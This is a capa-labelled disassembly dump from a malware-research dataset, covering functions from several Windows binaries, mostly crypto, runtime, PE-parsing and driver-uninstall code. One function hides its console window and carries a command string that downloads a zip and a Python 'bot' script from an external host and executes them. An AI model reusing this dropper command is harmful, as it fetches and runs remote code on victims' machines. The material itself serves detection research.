joyce8/EMBER2024-capa huggingface dataset:
Function at 0x443aa0
Capabilities:
Encode data using base64

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x443c07
push rbp
mov rbp, rsp
sub rsp, 0x18
mov ecx, dword [rax + 0x190]
mov edx, dword [rax + 0x194]
mov rsi, qword [rax + 0x998]
mov edi, dword [rax + 0x194]
cmp edi, edx
jne 0x443ab2
cmp edx, ecx
jne 0x443bf5
nop word [rax + rax]
test rsi, rsi
jne 0x443bf5
mov qword [rsp + 0x28], rax
test rbx, rbx
jne 0x443b14
nop
call fcn.00462ac0
xorps xmm15, xmm15
mov r14, qword [0x005bfa90]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rbx, qword [rsp]
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x10], rbx
call fcn.004439c0
mov rcx, qword [rsp + 0x28]
mov edx, dword [rcx]
mov ebx, edx
sar edx, 0x1f
shr edx, 0x1b
add edx, ebx
mov esi, edx
and edx, 0xffffffe0
sub ebx, edx
test ebx, ebx
jl 0x443bf0
mov rdx, qword [0x0056c888]
sar esi, 5
mov rax, rcx
mov ecx, ebx
mov edi, 1
shl edi, cl
movsxd rsi, esi
cmp ecx, 0x20
sbb r8d, r8d
and edi, r8d
cmp rdx, rsi
jbe 0x443be5
mov rcx, qword [0x0056c880]
lea rcx, [rcx + rsi*4]
lock or dword [rcx], edi
mov rcx, qword [0x0056d4f0]
mov qword [rax + 8], rcx
mov rcx, rax
nop
mov qword [0x0056d4f0], rax
nop
mov edx, 1
lea rsi, [0x0056d4f8]
lock xadd dword [rsi], edx
mov rdx, qword [rcx + 0x1228]
shr rdx, 0x3d
test dl, dl
jne 0x443bd3
mov rax, qword [rsp + 0x10]
movabs rdx, 0x1fffffffffffffff
and rdx, rax
bts rdx, 0x3f
nop
nop
xchg qword [rcx + 0x1228], rdx
add rsp, 0x18
pop rbp
ret
lea rax, [0x004ba5b7]
mov ebx, 0x28
nop
call fcn.00434f00
mov rax, rsi
mov rcx, rdx
call fcn.00461260
call fcn.00433580
lea rax, [0x004b99d8]
mov ebx, 0x23
call fcn.00434f00
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.0045efe0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.00443aa0
Function at 0x44f320
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rsp + 0x20], rax
test rbx, rbx
jbe 0x44f497
movzx edx, byte [rax]
test edx, edx
jne 0x44f354
nop dword [rax]
test r8b, r8b
jne 0x44f354
xor eax, eax
xor ebx, ebx
mov rcx, rbx
xor edi, edi
add rsp, 0x10
pop rbp
ret
bt edx, 7
jae 0x44f367
xor edx, edx
xor r8d, r8d
xor r9d, r9d
jmp 0x44f457
mov r8d, 1
mov r9d, edx
and edx, 1
neg edx
shr r9d, 1
xor edx, r9d
add dword [rsi], edx
nop dword [rax]
cmp rbx, r8
jb 0x44f445
sub rbx, r8
sub rcx, r8
mov rdx, rcx
neg rdx
sar rdx, 0x3f
and r8, rdx
lea rdx, [rax + r8]
test rbx, rbx
jbe 0x44f437
movzx esi, byte [rax + r8]
bt esi, 7
jae 0x44f3bd
xor eax, eax
xor esi, esi
xor r8d, r8d
jmp 0x44f400
mov eax, 1
cmp rax, rbx
ja 0x44f3eb
add qword [rdi], rsi
sub rcx, rax
sub rbx, rax
mov rsi, rcx
neg rsi
sar rsi, 0x3f
and rax, rsi
add rax, rdx
mov edi, 1
add rsp, 0x10
pop rbp
ret
mov rcx, rbx
call fcn.00461320
lea r8d, [rcx + 7]
mov rcx, r11
mov eax, r12d
nop dword [rax]
cmp rax, rbx
jae 0x44f42f
movzx r9d, byte [rax + rdx]
mov r10d, r9d
and r9d, 0x7f
mov r11, rcx
mov ecx, r8d
shl r9d, cl
lea r12d, [rax + 1]
or esi, r9d
test r10b, 0x80
jne 0x44f3f3
mov rcx, r11
mov eax, r12d
jmp 0x44f3c2
mov rcx, rbx
call fcn.00461260
xor eax, eax
mov rcx, rax
nop dword [rax]
call fcn.00461260
mov eax, r8d
mov rcx, rbx
call fcn.00461320
lea r9d, [rcx + 7]
mov rcx, r12
cmp rbx, rdx
jbe 0x44f48d
movzx r10d, byte [rdx + rax]
mov r11d, r10d
and r10d, 0x7f
mov r12, rcx
mov ecx, r9d
shl r10d, cl
inc edx
or r8d, r10d
test r11b, 0x80
jne 0x44f450
mov rcx, r12
mov r9d, edx
mov edx, r8d
mov r8d, r9d
jmp 0x44f36d
mov eax, edx
mov rcx, rbx
call fcn.00461260
xor eax, eax
mov rcx, rax
nop dword [rax]
call fcn.00461260
nop
int3
Function at 0x456a20
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x456acf
push rbp
mov rbp, rsp
sub rsp, 0x58
mov qword [rsp + 0x70], rbx
lea rdx, [rsp + 0x68]
mov qword [rsp + 8], 0
movups xmmword [rsp + 0x10], xmm15
movups xmmword [rsp + 0x18], xmm15
movups xmmword [rsp + 0x28], xmm15
movups xmmword [rsp + 0x38], xmm15
movups xmmword [rsp + 0x48], xmm15
lea rsi, [0x00456b20]
mov qword [rsp + 0x10], rsi
mov rsi, qword [rsp + 0x60]
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdx
mov rdx, r14
mov qword [rsp + 0x28], rdx
lea rdx, [rsp + 8]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], rdi
lea rax, [rsp + 0x10]
mov qword [rsp], rax
call fcn.0045eea0
xorps xmm15, xmm15
mov r14, qword [0x005bfa90]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 8]
add rsp, 0x58
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x20], rdi
call fcn.0045efe0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
nop dword [rax]
jmp fcn.00456a20
Function at 0x460dc0
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x4033a3
push rbp
mov rbp, rsp
sub rsp, 0x18
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
mov rax, rdx
call fcn.00408e20
add rsp, 0x18
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.0045efe0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp 0x403380
cmp byte [0x005bf86a], 0
je 0x460dd5
mov rcx, qword [rax + 8]
mov rax, qword [rax]
jmp 0x45e020
jmp 0x403380

Function at 0x460de0
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
nop
mov eax, dword [rax]
movabs rcx, 0xe7037ed1a0b428db
xor rcx, rax
xor rax, rbx
xor rax, qword [0x005bfb40]
movabs rdx, 0xa0761d6478bd642f
xor rdx, rax
mov rax, rcx
mul rdx
xor rax, rdx
mov rcx, rax
movabs rax, 0x1d8e4e27c47d124b
mul rcx
xor rax, rdx
nop
nop
ret
cmp byte [0x005bf86a], 0
je 0x460e15
movq xmm0, rbx
pinsrd xmm0, dword [rax], 2
aesenc xmm0, xmmword [0x005bfe00]
aesenc xmm0, xmmword [0x005bfe10]
aesenc xmm0, xmmword [0x005bfe20]
movq rax, xmm0
ret
jmp 0x409040

Function at 0x460e20
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
nop
mov rax, qword [rax]
movabs rcx, 0xe7037ed1a0b428db
xor rcx, rax
xor rax, rbx
xor rax, qword [0x005bfb40]
movabs rdx, 0xa0761d6478bd642f
xor rdx, rax
mov rax, rcx
mul rdx
xor rax, rdx
mov rcx, rax
movabs rax, 0x1d8e4e27c47d1247
mul rcx
xor rax, rdx
nop
nop
ret
cmp byte [0x005bf86a], 0
je 0x460e56
movq xmm0, rbx
pinsrq xmm0, qword [rax], 1
aesenc xmm0, xmmword [0x005bfe00]
aesenc xmm0, xmmword [0x005bfe10]
aesenc xmm0, xmmword [0x005bfe20]
movq rax, xmm0
ret
jmp 0x4090a0

Function at 0x462b20
Capabilities:
Allocate thread local storage

Disassembly:
push rbp
mov rbp, rsp
mov rax, rsp
and rsp, 0xfffffffffffffff0
sub rsp, 0x30
mov qword [rsp + 0x20], rax
mov rax, qword [sym.imp.kernel32.dll_TlsAlloc]
call rax
mov rsp, qword [rsp + 0x20]
mov rcx, rax
cmp rcx, 0x40
jb 0x462b54
mov rcx, 0x28
jmp 0x462b5f
shl rcx, 3
add rcx, 0x1480
mov qword [0x005bfa90], rcx
pop rbp
ret
Function at 0x470860
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x47092a
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x58], rax
mov qword [rsp], rax
mov qword [rsp + 8], rbx
mov byte [rsp + 0x10], 0
call fcn.00403320
xorps xmm15, xmm15
mov r14, qword [0x005bfa90]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x18], 0xffffffffffffffff
jne 0x47090f
mov rcx, qword [rsp + 0x60]
lea rdx, [rcx + 1]
mov qword [rsp + 0x40], rdx
lea rax, [0x0049eec0]
xor ebx, ebx
mov rcx, rdx
call fcn.00447d40
mov rbx, qword [rsp + 0x60]
mov rcx, rax
xor edi, edi
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x58]
nop dword [rax]
call fcn.00470c40
inc rbx
cmp rcx, rbx
jae 0x4708fe
mov edi, 1
lea rsi, [0x0049eec0]
call fcn.00447e20
mov word [rax + rbx*2 - 2], 0
xor edi, edi
xor esi, esi
add rsp, 0x48
pop rbp
ret
xor eax, eax
xor ebx, ebx
mov rcx, rbx
lea rdi, [0x004d4d18]
lea rsi, [0x004d4920]
add rsp, 0x48
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.0045efe0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.00470860
Function at 0x47b720
Capabilities:
Hash data using fnv

Disassembly:
test byte [rax], al
mov rcx, rbx
and ebx, 0x7f
shl rbx, 5
lea rdx, [rax + rbx]
xor eax, eax
jmp 0x47b737
inc rax
cmp rax, 4
jge 0x47b74f
lea rbx, [rdx + rax*8]
mov rbx, qword [rbx]
cmp rbx, rcx
jne 0x47b734
mov eax, 1
ret
xor eax, eax
movabs rbx, 0xcbf29ce484222325
jmp 0x47b760
inc rax
cmp rax, 4
jge 0x47b76e
mov rsi, qword [rdx + rax*8]
xor edi, edi
jmp 0x47b797
and ebx, 3
lea rdx, [rdx + rbx*8]
xchg qword [rdx], rcx
xor eax, eax
ret
movzx r8d, sil
xor rbx, r8
inc rdi
shr rsi, 8
movabs r8, 0x100000001b3
imul rbx, r8
cmp rdi, 8
jl 0x47b77b
jmp 0x47b75d
Function at 0x14000b9fc
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.api_ms_win_core_debug_l1_1_0.dll_IsDebuggerPresent]
mov ecx, 1
mov dword [0x140016950], eax
call fcn.14000b77c
xor ecx, ecx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_UnhandledExceptionFilter]
cmp dword [0x140016950], 0
jne case.default.0x14000ba52
mov ecx, 1
call fcn.14000b77c
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_TerminateProcess]
xchg ecx, eax
mul ebx
lodsd eax, dword [rsi]
or al, 0x1e
imul r13d, dword [rcx - 0x25ad4a3b], 0x3587f2fd
pop qword [rdi + 0x19]
invalid
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x004045e0]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x004045f0]
mov dword [rax], 1
mov rax, qword [0x00404600]
mov dword [rax], 1
mov rax, qword [0x004045d0]
mov dword [rax], 1
mov rax, qword [0x004044c0]
cmp word [rax], 0x5a4d
je 0x4010b0
mov rax, qword [0x004045c0]
mov dword [0x00407008], edx
mov eax, dword [rax]
test eax, eax
je 0x4010a0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x00404580]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x00404470]
cmp dword [rax], 1
je 0x4010f0
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401075
movsxd rcx, dword [rax + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x401058
movzx ecx, word [rax + 0x18]
cmp cx, 0x10b
je 0x401103
cmp cx, 0x20b
jne 0x401058
cmp dword [rax + 0x84], 0xe
jbe 0x401058
mov ecx, dword [rax + 0xf8]
xor edx, edx
test ecx, ecx
setne dl
jmp 0x401058
lea rcx, [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401058
mov r8d, dword [rax + 0xe8]
xor edx, edx
test r8d, r8d
setne dl
jmp 0x401058

Function at 0x401550
Capabilities:
Execute command
Hide graphical window

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
call sym.__main
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rax, str.start__B_cmd__C__mkdir_C:UsersPublicDocument__curl_https:__bot.khoadang50.repl.co_python.zip__o_C:UsersPublicDocumentpython.zip__tar__xf_C:UsersPublicDocumentpython.zip__C_C:UsersPublicDocument__curl_https:__bot.khoadang50.repl.co_bot9.py__o_C:UsersPublicDocumentdocuments.py__C:UsersPublicDocumentpython.exe_C:UsersPublicDocumentdocuments.py_
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.system
mov eax, 0
add rsp, 0x30
pop rbp
ret
Function at 0x140011253
Capabilities:
Terminate process

Disassembly:
jmp 0x140013b80
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x1400112e4
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014ed0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014ef0
xor al, al
jmp 0x140014f71
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014f03
xor al, al
jmp 0x140014f71
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140014f2d
xor al, al
jmp 0x140014f71
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014f41
xor al, al
jmp 0x140014f71
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014f53
xor al, al
jmp 0x140014f71
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140014f6f
xor al, al
jmp 0x140014f71
mov al, 1
add rsp, 0x38
ret
Function at 0x140001030
Capabilities:
Check mutex on windows

Disassembly:
sub rsp, 0x38
lea r8, str.Apf_OpenMouseProp
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x140001061
mov eax, 1
jmp 0x14000106e
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor eax, eax
add rsp, 0x38
ret
Function at 0x140001080
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x98
mov dword [rsp + 0x34], 0
xor r9d, r9d
lea r8, str.AlpsDeviceIFSupport
lea rdx, [0x14003bbc8]
mov rcx, 0xffffffff80000002
call fcn.140005ba0
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 1
jne 0x1400010cd
xor edx, edx
mov rcx, qword [rsp + 0xb0]
call fcn.1400017c0
mov r8d, 0xbb8
mov edx, 0x10
lea rcx, [0x14003bbe0]
call fcn.140001420
mov r8d, 0xbb8
mov edx, 0x10
lea rcx, str.Elara
call fcn.140001420
call fcn.1400015b0
mov edx, 0xbb8
lea rcx, str.ApHidMonitorService
call fcn.1400015d0
lea rcx, [0x14003bc08]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x140001146
lea rdx, str.DllUnregisterServer
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x40], rax
call qword [rsp + 0x40]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
lea rdx, [0x14003bc30]
lea rcx, [0x14003bc3c]
call fcn.140001b20
lea rdx, [0x14003bc48]
lea rcx, [0x14003bc5c]
call fcn.140001b20
lea rdx, [0x14003bc68]
lea rcx, [0x14003bc78]
call fcn.140001b20
lea rax, [rsp + 0x50]
lea rcx, [0x140047b28]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov r9d, 0x11
lea r8, [0x14003bc88]
lea rdx, str.ApfiltrService
lea rcx, [rsp + 0x50]
call fcn.140001eb0
mov dword [rsp + 0x38], eax
lea rax, [rsp + 0x60]
lea rcx, [0x140047b08]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov r9d, 4
lea r8, str.infinput.inf
lea rdx, str.ApHidfiltrService
lea rcx, [rsp + 0x60]
call fcn.140001eb0
mov dword [rsp + 0x20], eax
lea rax, [rsp + 0x70]
lea rcx, [0x140047b28]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov r9d, 0x11
lea r8, str.infmsmouse.inf
lea rdx, str.ApHidUpfiltrService
lea rcx, [rsp + 0x70]
call fcn.140001eb0
mov dword [rsp + 0x48], eax
cmp dword [rsp + 0x30], 0
jne 0x140001249
cmp dword [rsp + 0x38], 0
jne 0x140001262
cmp dword [rsp + 0x30], 1
jne 0x1400012d7
cmp dword [rsp + 0x20], 0
jne 0x140001262
cmp dword [rsp + 0x48], 0
je 0x1400012d7
lea rdx, [0x14003bd08]
mov rcx, 0xffffffff80000002
call fcn.140002190
lea rdx, [0x14003bd28]
mov rcx, 0xffffffff80000002
call fcn.140002190
lea rdx, [0x14003bd40]
mov rcx, 0xffffffff80000001
call fcn.140002190
lea rdx, [0x14003bd58]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
lea rdx, [0x14003bd78]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
lea rdx, [0x14003bd90]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
lea rdx, str.Apkbf.cat
lea rcx, str.Keyboard
call fcn.140001b20
lea rax, [rsp + 0x80]
lea rcx, [0x140047b18]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov r9d, 0x11
lea r8, str.infkeyboard.inf
lea rdx, str.ApKbfService
lea rcx, [rsp + 0x80]
call fcn.140001eb0
mov eax, 1
add rsp, 0x98
pop rdi
pop rsi
ret
Function at 0x140001340
Capabilities:
Acquire debug privileges

Disassembly:
mov dword [rsp + 8], ecx
sub rsp, 0x68
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x40], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x38]
mov edx, 0x20
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1400013ef
lea r8, [rsp + 0x30]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x1400013ef
mov dword [rsp + 0x48], 1
cmp dword [rsp + 0x70], 0
je 0x1400013a7
mov dword [rsp + 0x54], 2
jmp 0x1400013af
mov dword [rsp + 0x54], 0
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x4c], rax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0x10
lea r8, [rsp + 0x48]
xor edx, edx
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x1400013ef
mov dword [rsp + 0x40], 1
cmp qword [rsp + 0x38], 0
je 0x140001402
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x40]
add rsp, 0x68
ret

Function at 0x1400015b0
Capabilities:
Enumerate gui resources

Disassembly:
sub rsp, 0x28
xor edx, edx
lea rcx, [0x1400014d0]
call qword [sym.imp.USER32.dll_EnumWindows]
add rsp, 0x28
ret
Function at 0x1400015d0
Capabilities:
Check for time delay via gettickcount
Delete service
Query service status
Stop service

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x88
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [rsp + 0x4c], eax
mov dword [rsp + 0x48], 0x7530
mov r8d, 0xf003f
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x140001614
jmp 0x1400017a7
mov r8d, 0xf01ff
mov rdx, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
jne 0x14000164a
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x1400017a7
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, 0x24
lea r8, [rsp + 0x50]
xor edx, edx
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
jne 0x14000167a
jmp 0x140001791
cmp dword [rsp + 0x54], 1
jne 0x140001696
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_DeleteService]
jmp 0x140001791
cmp dword [rsp + 0x54], 3
jne 0x14000170f
mov ecx, dword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, 0x24
lea r8, [rsp + 0x50]
xor edx, edx
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
jne 0x1400016d7
jmp 0x140001791
cmp dword [rsp + 0x54], 1
jne 0x1400016f3
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_DeleteService]
jmp 0x140001791
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [rsp + 0x4c]
cmp eax, dword [rsp + 0x48]
jbe 0x14000170d
jmp 0x140001791
jmp 0x140001696
lea r8, [rsp + 0x50]
mov edx, 1
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
jne 0x14000172c
jmp 0x140001791
cmp dword [rsp + 0x54], 1
je 0x140001791
mov ecx, dword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, 0x24
lea r8, [rsp + 0x50]
xor edx, edx
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
jne 0x140001767
jmp 0x140001791
cmp dword [rsp + 0x54], 1
jne 0x14000177b
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_DeleteService]
jmp 0x140001791
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [rsp + 0x4c]
cmp eax, dword [rsp + 0x48]
jbe 0x14000178f
jmp 0x140001791
jmp 0x14000172c
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
add rsp, 0x88
ret
Function at 0x1400017c0
Capabilities:
Get common file path

Disassembly:
mov byte [rsp + 0x10], dl
mov qword [rsp + 8], rcx
sub rsp, 0x168
mov rax, qword [0x1400544f8]
xor rax, rsp
mov qword [rsp + 0x158], rax
mov byte [rsp + 0x20], 0
mov qword [rsp + 0x150], 0
mov edx, 0x104
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea r8, str.VXDIF.DLL
mov edx, 0x104
lea rcx, [rsp + 0x40]
call fcn.140002350
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x14000187f
lea rdx, str.Alps_SetAbsolute
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x150], rax
cmp qword [rsp + 0x150], 0
je 0x140001874
movzx eax, byte [rsp + 0x178]
mov edx, eax
mov rcx, qword [rsp + 0x170]
call qword [rsp + 0x150]
mov byte [rsp + 0x20], 1
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x1400018a1
xor r9d, r9d
lea r8, str.Warning
lea rdx, str.Failed_to_recovery_touchpad_to_normal_mouse_mode._Please_restart_PC_to_re_enable_the_touchpad_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rcx, qword [rsp + 0x158]
xor rcx, rsp
call fcn.140023060
add rsp, 0x168
ret
Function at 0x140001b20
Capabilities:
Delete file
Enumerate files on windows
Get common file path

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x4e8
mov rax, qword [0x1400544f8]
xor rax, rsp
mov qword [rsp + 0x4d8], rax
mov edx, 0x104
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
jne 0x140001b5e
xor eax, eax
jmp 0x140001d8e
lea r8, [0x14003beb0]
mov edx, 0x104
lea rcx, [rsp + 0x50]
call fcn.140002350
lea r9, [rsp + 0x50]
lea r8, [0x14003beb8]
mov edx, 0x104
lea rcx, [rsp + 0x170]
call fcn.1400023d0
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x170]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov qword [rsp + 0x168], rax
cmp qword [rsp + 0x168], 0xffffffffffffffff
je 0x140001bc8
mov dword [rsp + 0x4d0], 1
jmp 0x140001bd3
mov dword [rsp + 0x4d0], 0
mov eax, dword [rsp + 0x4d0]
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0
je 0x140001d7b
xor r9d, r9d
mov r8d, 2
mov rdx, qword [rsp + 0x4f0]
lea rcx, [rsp + 0x2ac]
call qword [sym.imp.SETUPAPI.dll_SetupOpenInfFileA]
mov qword [rsp + 0x160], rax
cmp qword [rsp + 0x160], 0xffffffffffffffff
je 0x140001d5c
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x104
lea rax, [rsp + 0x3c0]
mov qword [rsp + 0x20], rax
lea r9, [0x14003bec8]
lea r8, [0x14003bed8]
mov rdx, qword [rsp + 0x160]
xor ecx, ecx
call qword [sym.imp.SETUPAPI.dll_SetupGetLineTextA]
test eax, eax
je 0x140001d4e
mov rdx, qword [rsp + 0x4f8]
lea rcx, [rsp + 0x3c0]
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x140001d4e
lea rcx, [0x14003bef8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [0x14003bee0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400561a8], rax
cmp qword [0x1400561a8], 0
je 0x140001cca
xor r8d, r8d
mov edx, 1
lea rcx, [rsp + 0x2ac]
call qword [0x1400561a8]
jmp 0x140001d4e
lea rax, [rsp + 0x2ac]
